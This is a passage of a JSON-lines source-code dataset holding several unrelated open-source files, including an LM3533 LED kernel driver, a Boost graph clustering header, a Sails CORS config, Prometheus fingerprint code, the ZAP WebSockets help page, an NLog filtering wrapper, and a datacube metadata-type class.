LM3533_REG_CTRLBANK_BCONF_MAPPING_MASK;\n\n\tif (linear)\n\t\tval = mask;\n\telse\n\t\tval = 0;\n\n\tret = lm3533_update(led->lm3533, reg, val, mask);\n\tif (ret)\n\t\treturn ret;\n\n\treturn len;\n}\n\nstatic ssize_t show_pwm(struct device *dev,\n\t\t\t\t\tstruct device_attribute *attr,\n\t\t\t\t\tchar *buf)\n{\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\tu8 val;\n\tint ret;\n\n\tret = lm3533_ctrlbank_get_pwm(&led->cb, &val);\n\tif (ret)\n\t\treturn ret;\n\n\treturn scnprintf(buf, PAGE_SIZE, \"%u\\n\", val);\n}\n\nstatic ssize_t store_pwm(struct device *dev,\n\t\t\t\t\tstruct device_attribute *attr,\n\t\t\t\t\tconst char *buf, size_t len)\n{\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\tu8 val;\n\tint ret;\n\n\tif (kstrtou8(buf, 0, &val))\n\t\treturn -EINVAL;\n\n\tret = lm3533_ctrlbank_set_pwm(&led->cb, val);\n\tif (ret)\n\t\treturn ret;\n\n\treturn len;\n}\n\nstatic LM3533_ATTR_RW(als_channel);\nstatic LM3533_ATTR_RW(als_en);\nstatic LM3533_ATTR_RW(falltime);\nstatic LM3533_ATTR_RO(id);\nstatic LM3533_ATTR_RW(linear);\nstatic LM3533_ATTR_RW(pwm);\nstatic LM3533_ATTR_RW(risetime);\n\nstatic struct attribute *lm3533_led_attributes[] = {\n\t&dev_attr_als_channel.attr,\n\t&dev_attr_als_en.attr,\n\t&dev_attr_falltime.attr,\n\t&dev_attr_id.attr,\n\t&dev_attr_linear.attr,\n\t&dev_attr_pwm.attr,\n\t&dev_attr_risetime.attr,\n\tNULL,\n};\n\nstatic umode_t lm3533_led_attr_is_visible(struct kobject *kobj,\n\t\t\t\t\t struct attribute *attr, int n)\n{\n\tstruct device *dev = container_of(kobj, struct device, kobj);\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\tumode_t mode = attr->mode;\n\n\tif (attr == &dev_attr_als_channel.attr ||\n\t\t\t\t\tattr == &dev_attr_als_en.attr) {\n\t\tif (!led->lm3533->have_als)\n\t\t\tmode = 0;\n\t}\n\n\treturn mode;\n};\n\nstatic const struct attribute_group lm3533_led_attribute_group = {\n\t.is_visible\t= lm3533_led_attr_is_visible,\n\t.attrs\t\t= lm3533_led_attributes\n};\n\nstatic const struct attribute_group *lm3533_led_attribute_groups[] = {\n\t&lm3533_led_attribute_group,\n\tNULL\n};\n\nstatic int lm3533_led_setup(struct lm3533_led *led,\n\t\t\t\t\tstruct lm3533_led_platform_data *pdata)\n{\n\tint ret;\n\n\tret = lm3533_ctrlbank_set_max_current(&led->cb, pdata->max_current);\n\tif (ret)\n\t\treturn ret;\n\n\treturn lm3533_ctrlbank_set_pwm(&led->cb, pdata->pwm);\n}\n\nstatic int lm3533_led_probe(struct platform_device *pdev)\n{\n\tstruct lm3533 *lm3533;\n\tstruct lm3533_led_platform_data *pdata;\n\tstruct lm3533_led *led;\n\tint ret;\n\n\tdev_dbg(&pdev->dev, \"%s\\n\", __func__);\n\n\tlm3533 = dev_get_drvdata(pdev->dev.parent);\n\tif (!lm3533)\n\t\treturn -EINVAL;\n\n\tpdata = dev_get_platdata(&pdev->dev);\n\tif (!pdata) {\n\t\tdev_err(&pdev->dev, \"no platform data\\n\");\n\t\treturn -EINVAL;\n\t}\n\n\tif (pdev->id < 0 || pdev->id >= LM3533_LVCTRLBANK_COUNT) {\n\t\tdev_err(&pdev->dev, \"illegal LED id %d\\n\", pdev->id);\n\t\treturn -EINVAL;\n\t}\n\n\tled = devm_kzalloc(&pdev->dev, sizeof(*led), GFP_KERNEL);\n\tif (!led)\n\t\treturn -ENOMEM;\n\n\tled->lm3533 = lm3533;\n\tled->cdev.name = pdata->name;\n\tled->cdev.default_trigger = pdata->default_trigger;\n\tled->cdev.brightness_set_blocking = lm3533_led_set;\n\tled->cdev.brightness_get = lm3533_led_get;\n\tled->cdev.blink_set = lm3533_led_blink_set;\n\tled->cdev.brightness = LED_OFF;\n\tled->cdev.groups = lm3533_led_attribute_groups,\n\tled->id = pdev->id;\n\n\tmutex_init(&led->mutex);\n\n\t/* The class framework makes a callback to get brightness during\n\t * registration so use parent device (for error reporting) until\n\t * registered.\n\t */\n\tled->cb.lm3533 = lm3533;\n\tled->cb.id = lm3533_led_get_ctrlbank_id(led);\n\tled->cb.dev = lm3533->dev;\n\n\tplatform_set_drvdata(pdev, led);\n\n\tret = devm_led_classdev_register(pdev->dev.parent, &led->cdev);\n\tif (ret) {\n\t\tdev_err(&pdev->dev, \"failed to register LED %d\\n\", pdev->id);\n\t\treturn ret;\n\t}\n\n\tled->cb.dev = led->cdev.dev;\n\n\tret = lm3533_led_setup(led, pdata);\n\tif (ret)\n\t\treturn ret;\n\n\tret = lm3533_ctrlbank_enable(&led->cb);\n\tif (ret)\n\t\treturn ret;\n\n\treturn 0;\n}\n\nstatic int lm3533_led_remove(struct platform_device *pdev)\n{\n\tstruct lm3533_led *led = platform_get_drvdata(pdev);\n\n\tdev_dbg(&pdev->dev, \"%s\\n\", __func__);\n\n\tlm3533_ctrlbank_disable(&led->cb);\n\n\treturn 0;\n}\n\nstatic void lm3533_led_shutdown(struct platform_device *pdev)\n{\n\n\tstruct lm3533_led *led = platform_get_drvdata(pdev);\n\n\tdev_dbg(&pdev->dev, \"%s\\n\", __func__);\n\n\tlm3533_ctrlbank_disable(&led->cb);\n\tlm3533_led_set(&led->cdev, LED_OFF);\t\t/* disable blink */\n}\n\nstatic struct platform_driver lm3533_led_driver = {\n\t.driver = {\n\t\t.name = \"lm3533-leds\",\n\t},\n\t.probe\t\t= lm3533_led_probe,\n\t.remove\t\t= lm3533_led_remove,\n\t.shutdown\t= lm3533_led_shutdown,\n};\nmodule_platform_driver(lm3533_led_driver);\n\nMODULE_AUTHOR(\"Johan Hovold <jhovold@gmail.com>\");\nMODULE_DESCRIPTION(\"LM3533 LED driver\");\nMODULE_LICENSE(\"GPL\");\nMODULE_ALIAS(\"platform:lm3533-leds\");\n"} {"text": "from .......base import integration_form_element_plugin_registry\nfrom .base import DecimalInputPlugin\n\n__title__ = 'fobi.contrib.apps.drf_integration.form_elements.fields.decimal.' \\\n 'fobi_integration_form_elements'\n__author__ = 'Artur Barseghyan <artur.barseghyan@gmail.com>'\n__copyright__ = '2014-2019 Artur Barseghyan'\n__license__ = 'GPL 2.0/LGPL 2.1'\n__all__ = ('DecimalInputPlugin',)\n\n\nintegration_form_element_plugin_registry.register(DecimalInputPlugin)\n"} {"text": "// (C) Copyright 2007-2009 Andrew Sutton\n//\n// Use, modification and distribution are subject to the\n// Boost Software License, Version 1.0 (See accompanying file\n// LICENSE_1_0.txt or http://www.boost.org/LICENSE_1_0.txt)\n\n#ifndef BOOST_GRAPH_CLUSTERING_COEFFICIENT_HPP\n#define BOOST_GRAPH_CLUSTERING_COEFFICIENT_HPP\n\n#include <boost/next_prior.hpp>\n#include <boost/graph/graph_traits.hpp>\n#include <boost/graph/graph_concepts.hpp>\n#include <boost/graph/lookup_edge.hpp>\n#include <boost/concept/assert.hpp>\n\nnamespace boost\n{\nnamespace detail\n{\n template <class Graph>\n inline typename graph_traits<Graph>::degree_size_type\n possible_edges(const Graph& g, std::size_t k, directed_tag)\n {\n BOOST_CONCEPT_ASSERT(( GraphConcept<Graph> ));\n typedef typename graph_traits<Graph>::degree_size_type T;\n return T(k) * (T(k) - 1);\n }\n\n template <class Graph>\n inline typename graph_traits<Graph>::degree_size_type\n possible_edges(const Graph& g, size_t k, undirected_tag)\n {\n // dirty little trick...\n return possible_edges(g, k, directed_tag()) / 2;\n }\n\n // This template matches directedS and bidirectionalS.\n template <class Graph>\n inline typename graph_traits<Graph>::degree_size_type\n count_edges(const Graph& g,\n typename graph_traits<Graph>::vertex_descriptor u,\n typename graph_traits<Graph>::vertex_descriptor v,\n directed_tag)\n\n {\n BOOST_CONCEPT_ASSERT(( AdjacencyMatrixConcept<Graph> ));\n return (lookup_edge(u, v, g).second ? 1 : 0) +\n (lookup_edge(v, u, g).second ? 1 : 0);\n }\n\n // This template matches undirectedS\n template <class Graph>\n inline typename graph_traits<Graph>::degree_size_type\n count_edges(const Graph& g,\n typename graph_traits<Graph>::vertex_descriptor u,\n typename graph_traits<Graph>::vertex_descriptor v,\n undirected_tag)\n {\n BOOST_CONCEPT_ASSERT(( AdjacencyMatrixConcept<Graph> ));\n return lookup_edge(u, v, g).second ? 1 : 0;\n }\n}\n\ntemplate <typename Graph, typename Vertex>\ninline typename graph_traits<Graph>::degree_size_type\nnum_paths_through_vertex(const Graph& g, Vertex v)\n{\n BOOST_CONCEPT_ASSERT(( AdjacencyGraphConcept<Graph> ));\n typedef typename graph_traits<Graph>::directed_category Directed;\n typedef typename graph_traits<Graph>::adjacency_iterator AdjacencyIterator;\n\n // TODO: There should actually be a set of neighborhood functions\n // for things like this (num_neighbors() would be great).\n\n AdjacencyIterator i, end;\n boost::tie(i, end) = adjacent_vertices(v, g);\n std::size_t k = std::distance(i, end);\n return detail::possible_edges(g, k, Directed());\n}\n\ntemplate <typename Graph, typename Vertex>\ninline typename graph_traits<Graph>::degree_size_type\nnum_triangles_on_vertex(const Graph& g, Vertex v)\n{\n BOOST_CONCEPT_ASSERT(( IncidenceGraphConcept<Graph> ));\n BOOST_CONCEPT_ASSERT(( AdjacencyGraphConcept<Graph> ));\n typedef typename graph_traits<Graph>::degree_size_type Degree;\n typedef typename graph_traits<Graph>::directed_category Directed;\n typedef typename graph_traits<Graph>::adjacency_iterator AdjacencyIterator;\n\n // TODO: I might be able to reduce the requirement from adjacency graph\n // to incidence graph by using out edges.\n\n Degree count(0);\n AdjacencyIterator i, j, end;\n for(boost::tie(i, end) = adjacent_vertices(v, g); i != end; ++i) {\n for(j = boost::next(i); j != end; ++j) {\n count += detail::count_edges(g, *i, *j, Directed());\n }\n }\n return count;\n} /* namespace detail */\n\ntemplate <typename T, typename Graph, typename Vertex>\ninline T\nclustering_coefficient(const Graph& g, Vertex v)\n{\n T zero(0);\n T routes = T(num_paths_through_vertex(g, v));\n return (routes > zero) ?\n T(num_triangles_on_vertex(g, v)) / routes : zero;\n}\n\ntemplate <typename Graph, typename Vertex>\ninline double\nclustering_coefficient(const Graph& g, Vertex v)\n{ return clustering_coefficient<double>(g, v); }\n\ntemplate <typename Graph, typename ClusteringMap>\ninline typename property_traits<ClusteringMap>::value_type\nall_clustering_coefficients(const Graph& g, ClusteringMap cm)\n{\n BOOST_CONCEPT_ASSERT(( VertexListGraphConcept<Graph> ));\n typedef typename graph_traits<Graph>::vertex_descriptor Vertex;\n typedef typename graph_traits<Graph>::vertex_iterator VertexIterator;\n BOOST_CONCEPT_ASSERT(( WritablePropertyMapConcept<ClusteringMap,Vertex> ));\n typedef typename property_traits<ClusteringMap>::value_type Coefficient;\n\n Coefficient sum(0);\n VertexIterator i, end;\n for(boost::tie(i, end) = vertices(g); i != end; ++i) {\n Coefficient cc = clustering_coefficient<Coefficient>(g, *i);\n put(cm, *i, cc);\n sum += cc;\n }\n return sum / Coefficient(num_vertices(g));\n}\n\ntemplate <typename Graph, typename ClusteringMap>\ninline typename property_traits<ClusteringMap>::value_type\nmean_clustering_coefficient(const Graph& g, ClusteringMap cm)\n{\n BOOST_CONCEPT_ASSERT(( VertexListGraphConcept<Graph> ));\n typedef typename graph_traits<Graph>::vertex_descriptor Vertex;\n typedef typename graph_traits<Graph>::vertex_iterator VertexIterator;\n BOOST_CONCEPT_ASSERT(( ReadablePropertyMapConcept<ClusteringMap,Vertex> ));\n typedef typename property_traits<ClusteringMap>::value_type Coefficient;\n\n Coefficient cc(0);\n VertexIterator i, end;\n for(boost::tie(i, end) = vertices(g); i != end; ++i) {\n cc += get(cm, *i);\n }\n return cc / Coefficient(num_vertices(g));\n}\n\n} /* namespace boost */\n\n#endif\n"} {"text": "module.exports = require(\"./lib/_stream_transform.js\")\n"} {"text": "/**\n * Cross-Origin Resource Sharing (CORS) Settings\n * (sails.config.cors)\n *\n * CORS is like a more modern version of JSONP-- it allows your server/API\n * to successfully respond to requests from client-side JavaScript code\n * running on some other domain (e.g. google.com)\n * Unlike JSONP, it works with POST, PUT, and DELETE requests\n *\n * For more information on CORS, check out:\n * http://en.wikipedia.org/wiki/Cross-origin_resource_sharing\n *\n * Note that any of these settings (besides 'allRoutes') can be changed on a per-route basis\n * by adding a \"cors\" object to the route configuration:\n *\n * '/get foo': {\n * controller: 'foo',\n * action: 'bar',\n * cors: {\n * origin: 'http://foobar.com,https://owlhoot.com'\n * }\n * }\n *\n * For more information on this configuration file, see:\n * http://sailsjs.org/#/documentation/reference/sails.config/sails.config.cors.html\n *\n */\n\nmodule.exports.cors = {\n\n /***************************************************************************\n * *\n * Allow CORS on all routes by default? If not, you must enable CORS on a *\n * per-route basis by either adding a \"cors\" configuration object to the *\n * route config, or setting \"cors:true\" in the route config to use the *\n * default settings below. *\n * *\n ***************************************************************************/\n\n // allRoutes: false,\n\n /***************************************************************************\n * *\n * Which domains which are allowed CORS access? This can be a *\n * comma-delimited list of hosts (beginning with http:// or https://) or *\n * \"*\" to allow all domains CORS access. *\n * *\n ***************************************************************************/\n\n // origin: '*',\n\n /***************************************************************************\n * *\n * Allow cookies to be shared for CORS requests? *\n * *\n ***************************************************************************/\n\n // credentials: true,\n\n /***************************************************************************\n * *\n * Which methods should be allowed for CORS requests? This is only used in *\n * response to preflight requests (see article linked above for more info) *\n * *\n ***************************************************************************/\n\n // methods: 'GET, POST, PUT, DELETE, OPTIONS, HEAD',\n\n /***************************************************************************\n * *\n * Which headers should be allowed for CORS requests? This is only used in *\n * response to preflight requests. *\n * *\n ***************************************************************************/\n\n // headers: 'content-type'\n\n};\n"} {"text": "// Copyright 2013 The Prometheus Authors\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage model\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n)\n\n// Fingerprint provides a hash-capable representation of a Metric.\n// For our purposes, FNV-1A 64-bit is used.\ntype Fingerprint uint64\n\n// FingerprintFromString transforms a string representation into a Fingerprint.\nfunc FingerprintFromString(s string) (Fingerprint, error) {\n\tnum, err := strconv.ParseUint(s, 16, 64)\n\treturn Fingerprint(num), err\n}\n\n// ParseFingerprint parses the input string into a fingerprint.\nfunc ParseFingerprint(s string) (Fingerprint, error) {\n\tnum, err := strconv.ParseUint(s, 16, 64)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn Fingerprint(num), nil\n}\n\nfunc (f Fingerprint) String() string {\n\treturn fmt.Sprintf(\"%016x\", uint64(f))\n}\n\n// Fingerprints represents a collection of Fingerprint subject to a given\n// natural sorting scheme. It implements sort.Interface.\ntype Fingerprints []Fingerprint\n\n// Len implements sort.Interface.\nfunc (f Fingerprints) Len() int {\n\treturn len(f)\n}\n\n// Less implements sort.Interface.\nfunc (f Fingerprints) Less(i, j int) bool {\n\treturn f[i] < f[j]\n}\n\n// Swap implements sort.Interface.\nfunc (f Fingerprints) Swap(i, j int) {\n\tf[i], f[j] = f[j], f[i]\n}\n\n// FingerprintSet is a set of Fingerprints.\ntype FingerprintSet map[Fingerprint]struct{}\n\n// Equal returns true if both sets contain the same elements (and not more).\nfunc (s FingerprintSet) Equal(o FingerprintSet) bool {\n\tif len(s) != len(o) {\n\t\treturn false\n\t}\n\n\tfor k := range s {\n\t\tif _, ok := o[k]; !ok {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\n// Intersection returns the elements contained in both sets.\nfunc (s FingerprintSet) Intersection(o FingerprintSet) FingerprintSet {\n\tmyLength, otherLength := len(s), len(o)\n\tif myLength == 0 || otherLength == 0 {\n\t\treturn FingerprintSet{}\n\t}\n\n\tsubSet := s\n\tsuperSet := o\n\n\tif otherLength < myLength {\n\t\tsubSet = o\n\t\tsuperSet = s\n\t}\n\n\tout := FingerprintSet{}\n\n\tfor k := range subSet {\n\t\tif _, ok := superSet[k]; ok {\n\t\t\tout[k] = struct{}{}\n\t\t}\n\t}\n\n\treturn out\n}\n"} {"text": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n<title>\nWebSockets\n</title>\n</head>\n<body bgcolor=\"#ffffff\">\n<h1>WebSockets</h1>\n<p>\nWebSockets can be used by web applications or web sites to setup a\nbi-directional (two-way), full duplex communication channel over a\nsingle TCP connection.<br>\nIt features a lightweight protocol, allowing developers to realize\nrealtime use cases. WebSockets do also provide an alternative to \nheavy use of Ajax, HTTP Long Polling or Comet.<br>\n</p>\n<p>\nAfter an initial HTTP based handshake, the TCP connection is kept open,\nallowing applications to send &amp; receive arbitrary data. Often port\n80 or 443 for encrypted WebSocket channels are used.\n</p>\n<p>\nThe WebSocket standard is defined in\n<dl>\n\t<dt><a href=\"http://www.w3.org/TR/websockets/\">The WebSocket API (http://www.w3.org/TR/websockets/)</a></dt>\n\t<dd>specifies the interface in browsers</dd>\n\t<dt><a href=\"https://tools.ietf.org/html/rfc6455\">The WebSocket Protocol (RFC6455) (https://tools.ietf.org/html/rfc6455)</a></dt>\n\t<dd>describes the structure of WebSocket frames upon TCP</dd>\n</dl>\n<p>\nZAP is able to:\n<ul>\n\t<li>intercept and show WebSocket messages</li>\n\t<li>set breakpoints on specific types of WebSocket messages</li>\n\t<li>fuzz WebSocket messages (send lots of invalid or unexpected data to a browser or server)</li>\n</ul>\n\nWebSocket messages are displayed within the <a href=\"tab.html\">WebSockets tab</a>.\n</body>\n</html>\n"} {"text": "// \n// Copyright (c) 2004-2006 Jaroslaw Kowalski <jaak@jkowalski.net>\n// \n// All rights reserved.\n// \n// Redistribution and use in source and binary forms, with or without \n// modification, are permitted provided that the following conditions \n// are met:\n// \n// * Redistributions of source code must retain the above copyright notice, \n// this list of conditions and the following disclaimer. \n// \n// * Redistributions in binary form must reproduce the above copyright notice,\n// this list of conditions and the following disclaimer in the documentation\n// and/or other materials provided with the distribution. \n// \n// * Neither the name of Jaroslaw Kowalski nor the names of its \n// contributors may be used to endorse or promote products derived from this\n// software without specific prior written permission. \n// \n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE \n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE \n// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE \n// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS \n// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN \n// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF \n// THE POSSIBILITY OF SUCH DAMAGE.\n// \n\nusing System;\nusing System.IO;\nusing System.Text;\nusing System.Xml;\nusing System.Reflection;\nusing System.Diagnostics;\n\nusing NLog.Internal;\nusing System.Net;\nusing System.Net.Sockets;\n\nusing NLog.Config;\nusing NLog.Conditions;\n\nnamespace NLog.Targets.Wrappers\n{\n /// <summary>\n /// A target wrapper that filters log entries based on a condition.\n /// </summary>\n /// <example>\n /// <p>This example causes the messages not contains the string '1' to be ignored.</p>\n /// <p>\n /// To set up the target in the <a href=\"config.html\">configuration file</a>, \n /// use the following syntax:\n /// </p>\n /// <code lang=\"XML\" src=\"examples/targets/Configuration File/FilteringWrapper/NLog.config\" />\n /// <p>\n /// The above examples assume just one target and a single rule. See below for\n /// a programmatic configuration that's equivalent to the above config file:\n /// </p>\n /// <code lang=\"C#\" src=\"examples/targets/Configuration API/FilteringWrapper/Simple/Example.cs\" />\n /// </example>\n [Target(\"FilteringWrapper\", IgnoresLayout = true, IsWrapper = true)]\n public class FilteringTargetWrapper: WrapperTargetBase\n {\n private ConditionExpression _condition;\n\n /// <summary>\n /// Creates a new instance of <see cref=\"FilteringTargetWrapper\"/>.\n /// </summary>\n public FilteringTargetWrapper()\n {\n }\n\n /// <summary>\n /// Creates a new instance of <see cref=\"FilteringTargetWrapper\"/> and \n /// initializes the <see cref=\"WrapperTargetBase.WrappedTarget\"/> and\n /// <see cref=\"Condition\"/> properties.\n /// </summary>\n public FilteringTargetWrapper(Target writeTo, string condition)\n {\n WrappedTarget = writeTo;\n Condition = condition;\n }\n\n /// <summary>\n /// Condition expression. Log events who meet this condition will be forwarded \n /// to the wrapped target.\n /// </summary>\n [RequiredParameter]\n [AcceptsCondition]\n public string Condition\n {\n get { return _condition.ToString(); }\n set { _condition = ConditionParser.ParseExpression(value); }\n }\n\n /// <summary>\n /// Checks the condition against the passed log event.\n /// If the condition is met, the log event is forwarded to\n /// the wrapped target.\n /// </summary>\n /// <param name=\"logEvent\">Log event.</param>\n public override void Write(LogEventInfo logEvent)\n {\n object v = _condition.Evaluate(logEvent);\n if (v != null && v is bool && (bool)v)\n WrappedTarget.Write(logEvent);\n }\n\n /// <summary>\n /// Adds all layouts used by this target to the specified collection.\n /// </summary>\n /// <param name=\"layouts\">The collection to add layouts to.</param>\n public override void PopulateLayouts(LayoutCollection layouts)\n {\n base.PopulateLayouts(layouts);\n _condition.PopulateLayouts(layouts);\n }\n\n }\n}"} {"text": "@{\n ViewBag.Title = \"Reset Request Sent\";\n}\n\n<h2>Reset Request Sent</h2>\n<p>\n You have been sent an email to confirm your request\n to reset your password. Once you have recieved the email\n you can follow the instructions to set a new password.\n</p>\n<p>Thanks!</p>\n"} {"text": "# coding=utf-8\n\nimport logging\nimport warnings\nfrom pathlib import Path\n\nfrom cachetools.func import lru_cache\n\nfrom datacube.model import MetadataType\nfrom datacube.utils import jsonify_document, changes, _readable_offset, read_documents\nfrom datacube.utils.changes import check_doc_unchanged, get_doc_changes\n\n_LOG = logging.getLogger(__name__)\n\n_DEFAULT_METADATA_TYPES_PATH = Path(__file__).parent.joinpath('default-metadata-types.yaml')\n\n\ndef default_metadata_type_docs():\n \"\"\"A list of the bare dictionary format of default :class:`datacube.model.MetadataType`\"\"\"\n return [doc for (path, doc) in read_documents(_DEFAULT_METADATA_TYPES_PATH)]\n\n\nclass MetadataTypeResource(object):\n def __init__(self, db):\n \"\"\"\n :type db: datacube.drivers.postgres._connections.PostgresDb\n \"\"\"\n self._db = db\n\n self.get_unsafe = lru_cache()(self.get_unsafe)\n self.get_by_name_unsafe = lru_cache()(self.get_by_name_unsafe)\n\n def __getstate__(self):\n \"\"\"\n We define getstate/setstate to avoid pickling the caches\n \"\"\"\n return (self._db,)\n\n def __setstate__(self, state):\n \"\"\"\n We define getstate/setstate to avoid pickling the caches\n \"\"\"\n self.__init__(*state)\n\n def from_doc(self, definition):\n \"\"\"\n :param dict definition:\n :rtype: datacube.model.MetadataType\n \"\"\"\n MetadataType.validate(definition)\n return self._make(definition)\n\n def add(self, metadata_type, allow_table_lock=False):\n \"\"\"\n :param datacube.model.MetadataType metadata_type:\n :param allow_table_lock:\n Allow an exclusive lock to be taken on the table while creating the indexes.\n This will halt other user's requests until completed.\n\n If false, creation will be slightly slower and cannot be done in a transaction.\n :rtype: datacube.model.MetadataType\n \"\"\"\n # This column duplication is getting out of hand:\n MetadataType.validate(metadata_type.definition)\n\n existing = self.get_by_name(metadata_type.name)\n if existing:\n # They've passed us the same one again. Make sure it matches what is stored.\n check_doc_unchanged(\n existing.definition,\n jsonify_document(metadata_type.definition),\n 'Metadata Type {}'.format(metadata_type.name)\n )\n else:\n with self._db.connect() as connection:\n connection.insert_metadata_type(\n name=metadata_type.name,\n definition=metadata_type.definition,\n concurrently=not allow_table_lock\n )\n return self.get_by_name(metadata_type.name)\n\n def can_update(self, metadata_type, allow_unsafe_updates=False):\n \"\"\"\n Check if metadata type can be updated. Return bool,safe_changes,unsafe_changes\n\n Safe updates currently allow new search fields to be added, description to be changed.\n\n :param datacube.model.MetadataType metadata_type: updated MetadataType\n :param bool allow_unsafe_updates: Allow unsafe changes. Use with caution.\n :rtype: bool,list[change],list[change]\n \"\"\"\n MetadataType.validate(metadata_type.definition)\n\n existing = self.get_by_name(metadata_type.name)\n if not existing:\n raise ValueError('Unknown metadata type %s, cannot update – '\n 'did you intend to add it?' % metadata_type.name)\n\n updates_allowed = {\n ('description',): changes.allow_any,\n # You can add new fields safely but not modify existing ones.\n ('dataset',): changes.allow_extension,\n ('dataset', 'search_fields'): changes.allow_extension\n }\n\n doc_changes = get_doc_changes(existing.definition, jsonify_document(metadata_type.definition))\n good_changes, bad_changes = changes.classify_changes(doc_changes, updates_allowed)\n\n for offset, old_val, new_val in good_changes:\n _LOG.info(\"Safe change in %s from %r to %r\", _readable_offset(offset), old_val, new_val)\n\n for offset, old_val, new_val in bad_changes:\n _LOG.warning(\"Unsafe change in %s from %r to %r\", _readable_offset(offset), old_val, new_val)\n\n return allow_unsafe_updates or not bad_changes, good_changes, bad_changes\n\n def update(self, metadata_type: MetadataType, allow_unsafe_updates=False, allow_table_lock=False):\n \"\"\"\n Update a metadata type from the document. Unsafe changes will throw a ValueError by default.\n\n Safe updates currently allow new search fields to be added, description to be changed.\n\n :param datacube.model.MetadataType metadata_type: updated MetadataType\n :param bool allow_unsafe_updates: Allow unsafe changes. Use with caution.\n :param allow_table_lock:\n Allow an exclusive lock to be taken on the table while creating the indexes.\n This will halt other user's requests until completed.\n\n If false, creation will be slower and cannot be done in a transaction.\n :rtype: datacube.model.MetadataType\n \"\"\"\n can_update, safe_changes, unsafe_changes = self.can_update(metadata_type, allow_unsafe_updates)\n\n if not safe_changes and not unsafe_changes:\n _LOG.info(\"No changes detected for metadata type %s\", metadata_type.name)\n return self.get_by_name(metadata_type.name)\n\n if not can_update:\n raise ValueError(f\"Unsafe changes in {metadata_type.name}: \" + (\n \", \".join(\n _readable_offset(offset)\n for offset, _, _ in unsafe_changes\n )\n ))\n\n _LOG.info(\"Updating metadata type %s\", metadata_type.name)\n\n with self._db.connect() as connection:\n connection.update_metadata_type(\n name=metadata_type.name,\n definition=metadata_type.definition,\n concurrently=not allow_table_lock\n )\n\n self.get_by_name_unsafe.cache_clear()\n self.get_unsafe.cache_clear()\n return self.get_by_name(metadata_type.name)\n\n def update_document(self, definition, allow_unsafe_updates=False):\n \"\"\"\n Update a metadata type from the document. Unsafe changes will throw a ValueError by default.\n\n Safe updates currently allow new search fields to be added, description to be changed.\n\n :param dict definition: Updated definition\n :param bool allow_unsafe_updates: Allow unsafe changes. Use with caution.\n :rtype: datacube.model.MetadataType\n \"\"\"\n return self.update(self.from_doc(definition), allow_unsafe_updates=allow_unsafe_updates)\n\n def get(self, id_):\n \"\"\"\n :rtype: datacube.model.MetadataType\n \"\"\"\n try:\n return self.get_unsafe(id_)\n except KeyError:\n return None\n\n def get_by_name(self, name):\n \"\"\"\n :rtype: datacube.model.MetadataType\n \"\"\"\n try:\n return self.get_by_name_unsafe(name)\n except KeyError:\n return None\n\n # This is memoized in the constructor\n # pylint: disable=method-hidden\n def get_unsafe(self, id_): # type: ignore\n with self._db.connect() as connection:\n record = connection.get_metadata_type(id_)\n if record is None:\n raise KeyError('%s is not a valid MetadataType id')\n return self._make_from_query_row(record)\n\n # This is memoized in the constructor\n # pylint: disable=method-hidden\n def get_by_name_unsafe(self, name): # type: ignore\n with self._db.connect() as connection:\n record = connection.get_metadata_type_by_name(name)\n if not record:\n raise KeyError('%s is not a valid MetadataType name' % name)\n return self._make_from_query_row(record)\n\n def check_field_indexes(self, allow_table_lock=False, rebuild_all=None,\n rebuild_views=False, rebuild_indexes=False):\n \"\"\"\n Create or replace per-field indexes and views.\n :param allow_table_lock:\n Allow an exclusive lock to be taken on the table while creating the indexes.\n This will halt other user's requests until completed.\n\n If false, creation will be slightly slower and cannot be done in a transaction.\n \"\"\"\n if rebuild_all is not None:\n warnings.warn(\n \"The rebuild_all option of check_field_indexes() is deprecated.\",\n \"Instead, use rebuild_views=True or rebuild_indexes=True as needed.\",\n DeprecationWarning)\n rebuild_views = rebuild_indexes = rebuild_all\n\n with self._db.connect() as connection:\n connection.check_dynamic_fields(\n concurrently=not allow_table_lock,\n rebuild_indexes=rebuild_indexes,\n rebuild_views=rebuild_views,\n )\n\n def get_all(self):\n \"\"\"\n Retrieve all Metadata Types\n\n :rtype: iter[datacube.model.MetadataType]\n \"\"\"\n with self._db.connect() as connection:\n return self._make_many(connection.get_all_metadata_types())\n\n def _make_many(self, query_rows):\n \"\"\"\n :rtype: list[datacube.model.MetadataType]\n \"\"\"\n return (self._make_from_query_row(c) for c in query_rows)\n\n def _make_from_query_row(self, query_row):\n \"\"\"\n :rtype: datacube.model.MetadataType\n \"\"\"\n return self._make(query_row['definition'], query_row['id'])\n\n def _make(self, 